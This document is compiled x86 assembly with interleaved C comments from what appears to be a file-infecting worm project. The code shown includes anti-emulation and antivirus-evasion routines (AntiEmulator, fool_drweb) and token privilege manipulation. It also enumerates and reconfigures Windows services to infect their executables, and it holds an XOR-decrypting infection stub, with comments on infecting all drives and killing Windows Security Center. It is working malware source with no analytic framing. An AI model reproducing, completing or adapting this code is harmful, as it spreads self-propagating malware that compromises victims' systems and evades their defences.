	call	_zaderjka_cyklom
	popl	%ecx
	movl	%eax,-8(%ebp)
	.line	66
	movl	_ticks2,%eax
	subl	8(%ebp),%eax
	movl	%eax,-4(%ebp)
	.line	67
	movl	_ticks2,%eax
	movl	%eax,%esi
	subl	_ticks1,%esi
	.line	70
	movl	_ticks1,%eax
	cmpl	%eax,-4(%ebp)
	jb 	_$378
	.line	71
_$379:
	.line	73
	movl	%esi,%eax
	movl	8(%ebp),%ecx
	xorl	%edx,%edx
	divl	%ecx
	movl	%eax,-12(%ebp)
	movl	%eax,%esi
	.line	79
	.line	80
	popl	%edi
	popl	%esi
	leave
	ret
_$383:
	.size	_AntiEmulator,_$383-_AntiEmulator
	.globl	_AntiEmulator
; i --> %edi
; new_x --> %esi
; x --> %ebx
	.type	_fool_drweb,function
_fool_drweb:
	pushl	%ebx
	.line	89
	movl	8(%esp),%ebx
	.line	90
	movl	%ebx,%edx
	addl	$8192,%edx
	.line	92
	xor	%ecx,%ecx
_$385:
	.line	94
	movl	%ebx,%edx
	.line	92
	incl	%ecx
	cmpl	$0x5f5e100,%ecx
	jb 	_$385
	.line	97
	movl	%edx,%eax
	.line	98
	popl	%ebx
	ret
_$389:
	.size	_fool_drweb,_$389-_fool_drweb
	.globl	_fool_drweb
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_strings\_serstr.c"
_$M138:
; w --> %edi
; l2 --> %esi
; e --> %ebx
	.type	_serstr,function
_serstr:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	6
	.line	10
	andl	$0,-8(%ebp)
	.line	12
	movl	8(%ebp),%eax
	movl	%eax,%ecx
	orl	$-1,%eax
_$strlen0:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen0
	movl	%eax,-12(%ebp)
	.line	13
	movl	12(%ebp),%eax
	leal	(,%eax),%ecx
	orl	$-1,%eax
_$strlen1:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen1
	movl	%eax,%esi
	.line	15
	movl	$0,-4(%ebp)
	jmp	_$394
_$391:
	.line	17
	xor	%ebx,%ebx
	.line	18
	movl	%ebx,%edi
	jmp	_$398
_$395:
	.line	20
	movl	-4(%ebp),%eax
	addl	%edi,%eax
	movl	8(%ebp),%edx
	movsbl	(%edx,%eax),%eax
	movl	12(%ebp),%edx
	movsbl	(%edx,%edi),%edx
	cmpl	%edx,%eax
	jne	_$397
	incl	%ebx
	.line	21
	cmpl	%esi,%ebx
	jne	_$401
	incl	-8(%ebp)
	movl	16(%ebp),%eax
	cmpl	%eax,-8(%ebp)
	jne	_$401
	movl	-4(%ebp),%eax
	jmp	_$390
_$401:
	.line	22
	.line	18
	incl	%edi
_$398:
	cmpl	%esi,%edi
	jb 	_$395
_$397:
	.line	23
	.line	15
	incl	-4(%ebp)
_$394:
	movl	-12(%ebp),%eax
	cmpl	%eax,-4(%ebp)
	jb 	_$391
	.line	25
	movl	$65535,%eax
_$390:
	.line	26
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$407:
	.size	_serstr,_$407-_serstr
	.globl	_serstr
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_strings\_rndstr.c"
_$M139:
; q --> %esi
; s --> %ebx
	.type	_rndstr,function
_rndstr:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	7
	movl	8(%ebp),%ebx
	.line	9
	xor	%esi,%esi
	jmp	_$412
_$409:
	call	*__rand
	movl	$274877907,%edx
	pushl	%ecx
	movl	%eax,%ecx
	imull	%edx
	sarl	$7,%edx
	sarl	$31,%ecx
	subl	%ecx,%edx
	movl	%edx,%eax
	popl	%ecx
	movl	%eax,%edi
	addl	$97,%edi
	movl	%di,%dx
	movb	%dl,(%ebx,%esi)
	incl	%esi
_$412:
	cmpl	12(%ebp),%esi
	jl	_$409
	.line	10
	movl	12(%ebp),%eax
	movb	$0,(%ebx,%eax)
	.line	11
	movl	%ebx,%eax
	.line	12
	popl	%edi
	popl	%esi
	popl	%ebx
	popl	%ebp
	ret
_$414:
	.size	_rndstr,_$414-_rndstr
	.globl	_rndstr
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_strings\_lowerstr.c"
_$M140:
; q --> %edi
; s --> %esi
; l --> %ebx
	.type	_lowerstr,function
_lowerstr:
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	6
	movl	16(%esp),%esi
	.line	9
	movl	%esi,%ecx
	orl	$-1,%eax
_$strlen2:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen2
	movl	%eax,%ebx
	.line	11
	movl	$0,%edi
	jmp	_$419
_$416:
	.line	13
	movb	(%esi,%edi),%al
	cmpb	$65,%al
	jle	_$420
	cmpb	$90,%al
	jge	_$420
	movl	20(%esp),%eax
	movsbl	(%esi,%edi),%edx
	addl	$32,%edx
	movb	%dl,(%eax,%edi)
	jmp	_$421
_$420:
	movl	20(%esp),%eax
	movb	(%esi,%edi),%dl
	movb	%dl,(%eax,%edi)
_$421:
	.line	14
	.line	11
	incl	%edi
_$419:
	cmpl	%ebx,%edi
	jb 	_$416
	.line	16
	popl	%edi
	popl	%esi
	popl	%ebx
	ret
_$424:
	.size	_lowerstr,_$424-_lowerstr
	.globl	_lowerstr
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_glob.c"
_$M141:
	.data
	.globl	_SYSTEM_NT
	.align	2
	.type	_SYSTEM_NT,object
_SYSTEM_NT:
	.long	0
	.globl	_MAJORW
	.align	2
	.type	_MAJORW,object
_MAJORW:
	.long	0x0
	.text
	.type	_isSystemNT,function
_isSystemNT:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$148,%esp
	.line	20
	.line	23
	cmpl	$0,_MAJORW
	je	_$426
	movl	_SYSTEM_NT,%eax
	jmp	_$425
_$426:
	.line	25
	movl	$148,-148(%ebp)
	.line	26
	leal	-148(%ebp),%eax
	pushl	%eax
	call	*__GetVersionEx
	.line	28
	cmpl	$2,-132(%ebp)
	jne	_$428
	movl	$1,_SYSTEM_NT
_$428:
	.line	29
	movl	-144(%ebp),%eax
	movl	%eax,_MAJORW
	.line	36
	movl	_SYSTEM_NT,%eax
_$425:
	.line	37
	leave
	ret
_$432:
	.size	_isSystemNT,_$432-_isSystemNT
	.globl	_isSystemNT
	.type	_CloseCreateThreadEco,function
_CloseCreateThreadEco:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	.line	43
	.line	45
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	$0
	pushl	$0
	pushl	8(%ebp)
	pushl	$0
	pushl	$0
	call	*__CreateThread
	pushl	%eax
	call	*__CloseHandle
	.line	46
	leave
	ret
_$436:
	.size	_CloseCreateThreadEco,_$436-_CloseCreateThreadEco
	.globl	_CloseCreateThreadEco
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_strings\_my_strcpy.c"
_$M142:
; q --> %edi
; s2 --> %esi
	.type	_my_strcpy,function
_my_strcpy:
	pushl	%esi
	.line	8
	movl	12(%esp),%esi
	.line	10
	xor	%ecx,%ecx
_$438:
	.line	13
	movl	8(%esp),%eax
	movb	(%esi,%ecx),%dl
	movb	%dl,(%eax,%ecx)
	.line	14
	cmpb	$0,(%esi,%ecx)
	je	_$439
	incl	%ecx
	jmp	_$438
_$439:
	.line	16
	popl	%esi
	ret
_$441:
	.size	_my_strcpy,_$441-_my_strcpy
	.globl	_my_strcpy
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_token.c"
_$M143:
	.data
	.globl	_ptu
	.align	2
	.type	_ptu,object
_ptu:
	.long	0x0
	.globl	_sdsc2
	.align	2
	.type	_sdsc2,object
_sdsc2:
	.long	0x0
	.text
; res --> %edi
; hprc --> %esi
; pid --> %ebx
	.type	_EditOwnToken_or_CheckFiltered,function
_EditOwnToken_or_CheckFiltered:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$64,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	60
	.line	69
	call	_isSystemNT
	or	%eax,%eax
	jne	_$443
	.line	70
	xor	%edi,%edi
	inc	%edi
	jmp	_$445
_$443:
	.line	75
	call	*__GetCurrentProcessId
	movl	%eax,%ebx
	.line	77
	pushl	%ebx
	pushl	$0
	pushl	$0x1f0fff
	call	*__OpenProcess
	movl	%eax,%esi
	.line	78
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	$40
	pushl	%esi
	call	*__OpenProcessToken
	movl	%eax,%edi
	.line	84
	or	%edi,%edi
	je	_$445
_$446:
	.line	88
	andl	$0,-60(%ebp)
	.line	89
	leal	-64(%ebp),%eax
	pushl	%eax
	pushl	$40
	leal	-60(%ebp),%eax
	pushl	%eax
	pushl	$21
	pushl	-4(%ebp)
	call	*__GetTokenInformation
	movl	%eax,%edi
	.line	98
	cmpl	$0,8(%ebp)
	je	_$448
	.line	100
	or	%edi,%edi
	jne	_$450
	inc	%edi
	jmp	_$445
_$450:
	.line	101
	xor	%edi,%edi
	inc	%edi
	.line	102
	cmpl	$0,-60(%ebp)
	je	_$445
	xor	%edi,%edi
	.line	103
	jmp	_$445
_$448:
	.line	106
	cmpl	$0,_ptu
	jne	_$454
	pushl	$16384
	pushl	$64
	call	*__LocalAlloc
	movl	%eax,_ptu
_$454:
	.line	107
	leal	-64(%ebp),%eax
	pushl	%eax
	pushl	$16384
	pushl	_ptu
	pushl	$1
	pushl	-4(%ebp)
	call	*__GetTokenInformation
	.line	120
	cmpl	$0,_sdsc2
	jne	_$456
	pushl	$20
	pushl	$0
	call	*__LocalAlloc
	movl	%eax,_sdsc2
_$456:
	.line	122
	pushl	$1
	pushl	_sdsc2
	call	*__InitializeSecurityDescriptor
	movl	%eax,%edi
	.line	128
	pushl	$0
	pushl	$0
	pushl	$1
	pushl	_sdsc2
	call	*__SetSecurityDescriptorDacl
	movl	%eax,%edi
	.line	134
	pushl	$0
	movl	_ptu,%eax
	pushl	(,%eax)
	pushl	_sdsc2
	call	*__SetSecurityDescriptorOwner
	movl	%eax,%edi
	.line	142
	leal	-16(%ebp),%eax
	pushl	%eax
	pushl	$_$458
	pushl	$0
	call	*__LookupPrivilegeValue
	movl	%eax,%edi
	.line	148
	or	%edi,%edi
	je	_$445
_$460:
	.line	150
	movl	$1,-20(%ebp)
	.line	151
	movl	$2,-8(%ebp)
	.line	153
	pushl	$0
	pushl	$0
	pushl	$0
	leal	-20(%ebp),%eax
	pushl	%eax
	pushl	$0
	pushl	-4(%ebp)
	call	*__AdjustTokenPrivileges
	movl	%eax,%edi
_$445:
	.line	160
	pushl	-4(%ebp)
	call	*__CloseHandle
	.line	161
	pushl	%esi
	call	*__CloseHandle
	.line	162
	movl	%edi,%eax
	.line	163
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$476:
	.size	_EditOwnToken_or_CheckFiltered,_$476-_EditOwnToken_or_CheckFiltered
	.globl	_EditOwnToken_or_CheckFiltered
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_antiav\_avsvc.c"
_$M144:
	.type	_InitAVSVC,function
_InitAVSVC:
	.line	5
	.line	10
	pushl	$_$478
	pushl	$_AVSVC
	call	_strcpy@8
	.line	15
	ret
_$479:
	.size	_InitAVSVC,_$479-_InitAVSVC
	.globl	_InitAVSVC
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_service.c"
_$M145:
; env --> %edi
; SERVICEFND --> %esi
; env0 --> %ebx
	.type	_CheckService,function
_CheckService:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$524,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	6
	.line	13
	call	_isSystemNT
	or	%eax,%eax
	je	_$480
_$481:
	.line	15
	movl	$255,-516(%ebp)
	.line	16
	leal	-516(%ebp),%eax
	pushl	%eax
	leal	-255(%ebp),%eax
	pushl	%eax
	call	*__GetUserName
	.line	25
	cmpb	$0,-255(%ebp)
	jne	_$483
	xor	%eax,%eax
	inc	%eax
	jmp	_$480
_$483:
	.line	26
	pushl	$1
	pushl	$_$487
	leal	-255(%ebp),%eax
	pushl	%eax
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$485
	xor	%eax,%eax
	inc	%eax
	jmp	_$480
_$485:
	.line	27
	pushl	$1
	pushl	$_$490
	leal	-255(%ebp),%eax
	pushl	%eax
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$488
	xor	%eax,%eax
	inc	%eax
	jmp	_$480
_$488:
	.line	29
	movl	$255,-520(%ebp)
	.line	30
	leal	-520(%ebp),%eax
	pushl	%eax
	leal	-510(%ebp),%eax
	pushl	%eax
	call	*__GetComputerName
	.line	38
	pushl	$_$491
	leal	-510(%ebp),%eax
	pushl	%eax
	call	*__strcat
	.line	39
	pushl	$1
	leal	-255(%ebp),%eax
	pushl	%eax
	leal	-510(%ebp),%eax
	pushl	%eax
	call	_serstr
	addl	$20,%esp
	cmpl	$65535,%eax
	je	_$492
	xor	%eax,%eax
	inc	%eax
	jmp	_$480
_$492:
	.line	43
	call	*__GetEnvironmentStrings
	movl	%eax,%ebx
	.line	44
	movl	%ebx,%edi
	.line	45
	xor	%esi,%esi
_$494:
	.line	48
	cmpb	$0,(,%edi)
	je	_$497
_$495:
	.line	54
	movl	%edi,%ecx
	orl	$-1,%eax
_$strlen3:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen3
	movl	%eax,-524(%ebp)
	.line	55
	pushl	$1
	pushl	$_$500
	pushl	%edi
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$498
	movl	$1,%esi
	jmp	_$497
_$498:
	.line	56
	pushl	$1
	pushl	$_$503
	pushl	%edi
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$501
	xor	%esi,%esi
	inc	%esi
	jmp	_$497
_$501:
	.line	58
	movl	-524(%ebp),%eax
	leal	1(%eax,%edi),%edi
	.line	59
	jmp	_$494
_$497:
	.line	62
	pushl	%ebx
	call	*__FreeEnvironmentStrings
	.line	63
	or	%esi,%esi
	je	_$504
	xor	%eax,%eax
	inc	%eax
	jmp	_$480
_$504:
	.line	65
	xor	%eax,%eax
_$480:
	.line	66
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$514:
	.size	_CheckService,_$514-_CheckService
	.globl	_CheckService
; exe --> %edi
; res --> %esi
; scs --> %ebx
	.type	_ProcessService,function
_ProcessService:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$292,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	72
	.line	87
	pushl	$_$516
	leal	-259(%ebp),%eax
	pushl	%eax
	call	_strcpy@8
	pushl	12(%ebp)
	leal	-259(%ebp),%eax
	pushl	%eax
	call	*__strcat
	pushl	$_$516
	leal	-259(%ebp),%eax
	pushl	%eax
	call	*__strcat
	addl	$16,%esp
	.line	89
	pushl	$19
	pushl	12(%ebp)
	pushl	8(%ebp)
	call	*__OpenService
	movl	%eax,%ebx
	.line	90
	or	%ebx,%ebx
	je	_$515
_$517:
	.line	94
	leal	-276(%ebp),%eax
	pushl	%eax
	pushl	$0
	pushl	$0
	pushl	%ebx
	call	*__QueryServiceConfig
	.line	96
	pushl	-276(%ebp)
	pushl	$0
	call	*__LocalAlloc
	movl	%eax,-4(%ebp)
	.line	97
	leal	-272(%ebp),%eax
	pushl	%eax
	pushl	-276(%ebp)
	pushl	-4(%ebp)
	pushl	%ebx
	call	*__QueryServiceConfig
	movl	%eax,%esi
	.line	103
	or	%esi,%esi
	je	_$521
_$519:
	.line	107
	movl	-4(%ebp),%eax
	movl	12(%eax),%edi
	.line	108
	pushl	%edi
	pushl	%edi
	call	_lowerstr
	.line	111
	pushl	$1
	pushl	$_$524
	pushl	%edi
	call	_serstr
	addl	$20,%esp
	cmpl	$65535,%eax
	je	_$521
_$522:
	.line	114
	pushl	$1
	pushl	$_$527
	pushl	%edi
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$525
	movl	16(%ebp),%eax
	cmpl	$0,(,%eax)
	jne	_$521
_$528:
	movl	16(%ebp),%eax
	movl	$1,(,%eax)
_$525:
	.line	116
	cmpb	$34,(,%edi)
	jne	_$530
	.line	117
	incl	%edi
	andl	$0,-292(%ebp)
	movb	$34,-286(%ebp)
	movb	$0,-285(%ebp)
	jmp	_$531
_$530:
	.line	119
	movl	$4,-292(%ebp)
	pushl	$_$524
	leal	-286(%ebp),%eax
	pushl	%eax
	call	_my_strcpy
	addl	$8,%esp
_$531:
	.line	121
	pushl	$1
	leal	-286(%ebp),%eax
	pushl	%eax
	pushl	%edi
	call	_serstr
	addl	$12,%esp
	movl	%eax,-272(%ebp)
	.line	122
	cmpl	$0xffff,%eax
	je	_$521
_$533:
	movl	-272(%ebp),%eax
	addl	-292(%ebp),%eax
	movb	$0,(%edi,%eax)
	.line	136
	pushl	$0
	pushl	$0
	pushl	%edi
	call	_ProcessEXE
	addl	$12,%esp
	movl	%eax,%esi
	.line	137
	or	%esi,%esi
	je	_$521
_$535:
	.line	141
	movl	-4(%ebp),%eax
	movl	(,%eax),%eax
	movl	%eax,-264(%ebp)
	.line	142
	movl	$2,-268(%ebp)
	.line	144
	pushl	$1
	leal	-259(%ebp),%eax
	pushl	%eax
	pushl	$_AVSVC
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$537
	movl	$4,-268(%ebp)
_$537:
	.line	146
	movl	-264(%ebp),%eax
	andl	$256,%eax
	cmpl	$256,%eax
	je	_$539
	.line	147
	orw	$256,-264(%ebp)
	jmp	_$540
_$539:
	.line	149
	cmpl	$2,-268(%ebp)
	jne	_$540
	movl	-4(%ebp),%eax
	cmpl	$2,4(%eax)
	je	_$543
_$540:
	.line	151
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	$0
	pushl	$0xffffffff
	pushl	-268(%ebp)
	pushl	-264(%ebp)
	pushl	%ebx
	call	*__ChangeServiceConfig
	movl	%eax,%esi
	.line	158
	or	%esi,%esi
	je	_$521
_$544:
	.line	159
	cmpl	$4,-268(%ebp)
	je	_$521
_$546:
	.line	163
_$543:
	.line	164
	movl	20(%ebp),%eax
	cmpl	$0,(,%eax)
	je	_$521
_$548:
;  165 {
;  166 	 char mtxv[0xFF];
	.line	166
	pushl	$0
	pushl	$0
	pushl	%ebx
	call	*__StartService
	movl	%eax,%esi
;  167 	_OutputDebugStringA("000");
;  168  #ifdef dbgdbg
;  169 	adddeb("===== !!! SERVICE MODE !!! =====");
;  170  #endif	
;  171       
;  172 	sdelay = 10000;                               //@S          // 10 sec rscan infect delay
	.line	172
	or	%esi,%esi
	je	_$521
	movl	20(%ebp),%eax
	decl	(,%eax)
;  173 	_sprintf(mtxv, "%s_%u", SERVICE_MTX,VERSION); //@E          // version mutex
;  174 
	.line	174
_$521:
;  175 	//--- returns only if mtxv released or created by our thread
	.line	175
	pushl	-4(%ebp)
	call	*__LocalFree
;  176 	CreateOrOpenMutexes_WaitForMtx2Release(SERVICE_MTX, mtxv);  
	.line	176
	pushl	%ebx
	call	*__CloseServiceHandle
_$515:
;  177 
	.line	177
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$566:
	.size	_ProcessService,_$566-_ProcessService
	.globl	_ProcessService
; scm --> %edi
;  178 	//--- EditOwnToken (enable OWNER priv)
;  179 	EditOwnToken_or_CheckFiltered(FALSE); // this func has internal NT check, FALSE==Edit, TRUE==Check
;  180 
;  181 	//--- Init infcode, AVSVC, decrypt dll, srand, infect inactive services
;  182 	//--- we are initial owner of mutex => no need to launch other svc
	.type	_ProcessInactiveServices,function
_ProcessInactiveServices:
	pushl	%ebp
	movl	%esp,%ebp
	.extern	__stackprobe
	movl	$180020,%eax
	call	__stackprobe
	pushl	%edi
;  183         InitInfectData(ticks, 0);  //@S // SVC_START==0 => start no services  
	.line	183
;  184 
;  185 	//--- Kill Windows Security Center
;  186 	//KillWSC();                //@E // should be finished before AvSvcThread or we'll see red icon in tray!
;  187 
;  188 	//--- Create Drives Infecting thread if not 'TERMINAL' mode
;  189 	CloseCreateThreadEco(InfectAllDrives);  
	.line	189
	andl	$0,-180016(%ebp)
;  190 
	.line	190
	andl	$0,-180012(%ebp)
;  191 	//--- Create Antiviral Prc Thread
;  192 	//CloseCreateThreadEco(AvPrcThread);      
;  193 
	.line	193
	call	_isSystemNT
	or	%eax,%eax
	je	_$567
;  194 	//--- Create Antiviral UnInstall Thread
	.line	194
_$568:
;  195 	//CloseCreateThreadEco(UnInstThread);      
;  196 
	.line	196
	pushl	$4
	pushl	$0
	pushl	$0
	call	*__OpenSCManager
	movl	%eax,%edi
;  197 	//--- Create Antiviral Svc Thread
	.line	197
	leal	-180016(%ebp),%eax
	pushl	%eax
	leal	-8(%ebp),%eax
	pushl	%eax
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	$0x2bf20
	leal	-180008(%ebp),%eax
	pushl	%eax
	pushl	$2
	pushl	$48
	pushl	%edi
	call	*__EnumServicesStatus
	or	%eax,%eax
	je	_$567
;  198 	//CloseCreateThreadEco(AvSvcThread);      
	.line	198
_$570:
;  199 
;  200 	//--- returns only if SERVICE_MTX released or created by our thread
;  201 	CreateOrOpenMutexes_WaitForMtx2Release(mtxv, SERVICE_MTX);  
;  202 
;  203 
;  204 	//------ ZDES RAZMESHAETSYA VASH KOD vmesto beckonechnogo cikla
	.line	204
	andl	$0,-4(%ebp)
	jmp	_$575
_$572:
;  205 /********************************************************************************************/
	.line	205
	leal	8(%ebp),%eax
	pushl	%eax
	leal	-180012(%ebp),%eax
	pushl	%eax
	movl	$36,%eax
	mull	-4(%ebp)
	movl	%eax,-180020(%ebp)
	pushl	-180008(%ebp,%eax)
	pushl	%edi
	call	_ProcessService
	addl	$16,%esp
	.line	204
	incl	-4(%ebp)
_$575:
	movl	-8(%ebp),%eax
	cmpl	%eax,-4(%ebp)
	jl	_$572
;  206 	LoadAndStartDll();
;  207 /*******************************************************************************************/
	.line	207
	pushl	%edi
	call	*__CloseServiceHandle
;  208 
	.line	208
	movl	-8(%ebp),%eax
_$567:
;  209 	x_loop:; __sleep(0); goto x_loop;
	.line	209
	popl	%edi
	leave
	ret
_$581:
	.size	_ProcessInactiveServices,_$581-_ProcessInactiveServices
	.globl	_ProcessInactiveServices
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_infect1\_pehead.h"
_$M146:
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_infect1\_c_code.h"
_$M147:
	.type	_C_CODE_NG,function
_C_CODE_NG:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$80,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	51
	.line	80
	movl	$0,-28(%ebp)
	.line	101
	movl	$0xf0f0f0f0,-28(%ebp)
	.line	102
	movl	$0xfefefefe,-36(%ebp)
	.line	103
	addl	$0xfefefefe,-36(%ebp)
	.line	104
	movl	$0xf1f1f1f1,-40(%ebp)
	.line	105
	addl	$0xf1f1f1f1,-40(%ebp)
	.line	109
	movl	$0,-32(%ebp)
	.line	110
	decl	-28(%ebp)
_$583:
	.line	112
	.line	144
	movl	$3,-60(%ebp)
_$584:
	movl	-40(%ebp),%edi
	cmpl	%edi,-60(%ebp)
	jb 	_$585
	jmp	_$587
_$585:
	movl	-60(%ebp),%edi
	addl	-36(%ebp),%edi
	movzbl	(,%edi),%ebx
	movl	-28(%ebp),%esi
	movl	%esi,%edx
	andl	$0xff,%edx
	movl	%ebx,%esi
	xorl	%edx,%esi
	movl	%si,%bx
	movb	%bl,(,%edi)
	incl	-60(%ebp)
	jmp	_$584
_$587:
	.line	149
	movl	$0xfdfdfdfd,-44(%ebp)
	.line	150
	movl	$0xfbfbfbfb,-16(%ebp)
	.line	153
	incl	-32(%ebp)
	.line	154
	cmpl	$2,-32(%ebp)
	jne	_$588
	incl	-28(%ebp)
_$588:
	.line	156
	cmpl	$3,-32(%ebp)
	jae	_$590
	jmp	_$583
_$590:
	.line	169
	movl	$0,-60(%ebp)
_$592:
	movl	-60(%ebp),%edi
	movl	-16(%ebp),%esi
	movl	-44(%ebp),%ebx
	movb	(%ebx,%edi),%bl
	movb	%bl,(%esi,%edi)
	incl	-60(%ebp)
	cmpl	$0xfcfcfcfc,-60(%ebp)
	jae	_$593
	jmp	_$592
_$593:
	.line	174
	movl	$0xfafafafa,-48(%ebp)
	.line	175
	movl	$0xf8f8f8f8,-52(%ebp)
	.line	188
	movl	$0,-60(%ebp)
_$595:
	movl	-60(%ebp),%edi
	movl	-52(%ebp),%esi
	movl	-48(%ebp),%ebx
	movb	(%ebx,%edi),%bl
	movb	%bl,(%esi,%edi)
	incl	-60(%ebp)
	cmpl	$0xf9f9f9f9,-60(%ebp)
	jae	_$596
	jmp	_$595
_$596:
	.line	193
	movl	$0xf5f5f5f5,-20(%ebp)
	.line	194
	movl	$0xf7f7f7f7,-8(%ebp)
_$598:
	.line	198
	movl	$0xf3f3f3f3,-24(%ebp)
	.line	199
	movl	$0xf2f2f2f2,-56(%ebp)
	.line	203
	movl	$0,-4(%ebp)
	jmp	_$602
_$599:
	.line	209
	movl	-16(%ebp),%edi
	subl	-24(%ebp),%edi
	movl	%edi,-12(%ebp)
;  210 }
	.line	210
	movl	-4(%ebp),%edi
	addl	$8,%edi
	addl	-8(%ebp),%edi
	movl	%edi,-68(%ebp)
;  211 
	.line	211
	movl	-68(%ebp),%edi
	movw	(,%edi),%di
	movw	%di,-62(%ebp)
;  212 ///////////////////////////////////////////////////////////////
;  213 // Main Thread ////////////////////////////////////////////////
	.line	213
	cmpw	$0,-62(%ebp)
	jne	_$603
	jmp	_$601
_$603:
;  214 
	.line	214
	movzwl	-62(%ebp),%edi
	sarl	$12,%edi
	movl	%edi,-72(%ebp)
;  215 #ifdef _MSC_VER
	.line	215
	movzwl	-62(%ebp),%edi
	sall	$4,%edi
	movl	%edi,-60(%ebp)
;  216 	#pragma optimize("", off)
	.line	216
	shrl	$4,-60(%ebp)
;  217 #else
;  218 	#pragma optimize(off)
	.line	218
	cmpl	$0,-60(%ebp)
	jne	_$605
	cmpl	$0,-4(%ebp)
	je	_$605
	jmp	_$601
_$605:
;  219 #endif
	.line	219
	movl	-12(%ebp),%edi
	subl	-20(%ebp),%edi
	movl	%edi,-76(%ebp)
;  220 
;  221 DWORD WINAPI MainThread(LPVOID GPA)
;  222 {
;  223 	//---ANTINOD: esli zapalit drugie Init, iskazit i GetModuleHandle
;  224 
;  225 	DWORD x;         //@S
;  226 	DWORD kernfuck;  //@E 
	.line	226
	cmpl	$3,-72(%ebp)
	jne	_$607
;  227 
;  228 	DWORD ticks;
	.line	228
	movl	-8(%ebp),%edi
	movl	(,%edi),%edi
	addl	-60(%ebp),%edi
	addl	-12(%ebp),%edi
	movl	%edi,-80(%ebp)
;  229 	BOOL service;
	.line	229
	movl	-80(%ebp),%edi
	movl	-76(%ebp),%esi
	addl	%esi,(,%edi)
_$607:
;  230 	BYTE resver;
;  231 
	.line	231
_$600:
	.line	203
	addl	$2,-4(%ebp)
_$602:
	movl	-8(%ebp),%edi
	movl	4(%edi),%edi
	cmpl	%edi,-4(%ebp)
	jb 	_$599
_$601:
;  232 	char mtx[0xFF];              //@S
;  233 	char mtxv[0xFF];             //@E
	.line	233
_$609:
;  234 
	.line	234
	movl	-8(%ebp),%edi
	movl	4(%edi),%esi
	addl	%edi,%esi
	movl	%esi,-8(%ebp)
;  235 	MSG m;            //@S                    
;  236 	WNDCLASS wtc;     //@E
	.line	236
	cmpl	$0xf4f4f4f4,-8(%ebp)
	jae	_$610
	jmp	_$598
_$610:
;  237 	DWORD flags;
;  238 	int q, w;
;  239 
	.line	239
;  240 	HANDLE sm;        //@S
	.line	240
	movl	$5000,-64(%ebp)
;  241 	DWORD START_SVC;  //@E
	.line	241
	movl	$1096,-60(%ebp)
;  242 
;  243 	x += 23;       //@S
	.line	243
	movl	-64(%ebp),%eax
	movl	-60(%ebp),%edi
	addl	$3,%edi
	mull	%edi
	movl	%eax,-68(%ebp)
	movl	-68(%ebp),%edi
	movl	%edi,-64(%ebp)
;  244 	GetTicks1();   //@E   
	.line	244
	movl	-64(%ebp),%edi
	movl	-60(%ebp),%esi
	leal	8(%edi,%esi),%esi
	addl	%esi,%edi
	movl	%edi,-64(%ebp)
;  245 
	.line	245
	addl	$164,-60(%ebp)
;  246 	kernfuck = 512;         //@S
	.line	246
	movl	$23,%eax
	mull	-60(%ebp)
	movl	%eax,-72(%ebp)
	movl	-72(%ebp),%edi
	movl	%edi,-60(%ebp)
_$582:
;  247 	x = AntiEmulator(96) ;  //@E  // x==1 if NOT EMULATED
;  248 
;  249 	_KERNEL32=(HANDLE)((DWORD)_KERNEL32+kernfuck+EMUL);   //@S // if NOT EMULATED, EMUL==0
	.line	249
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$621:
	.size	_C_CODE_NG,_$621-_C_CODE_NG
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_infect1\_c_code.c"
_$M148:
	.type	_WriteOrGetLen_C_CODE,function
_WriteOrGetLen_C_CODE:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$448,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	17
	.line	21
	leal	_C_CODE_NG,%edi
	movl	%edi,-8(%ebp)
	.line	23
	movl	$9,-16(%ebp)
	.line	38
	cmpl	$0,8(%ebp)
	je	_$623
	.line	41
	movl	$0,-4(%ebp)
_$625:
	movl	-4(%ebp),%edi
	movl	$0,-216(%ebp,%edi,4)
_$626:
	incl	-4(%ebp)
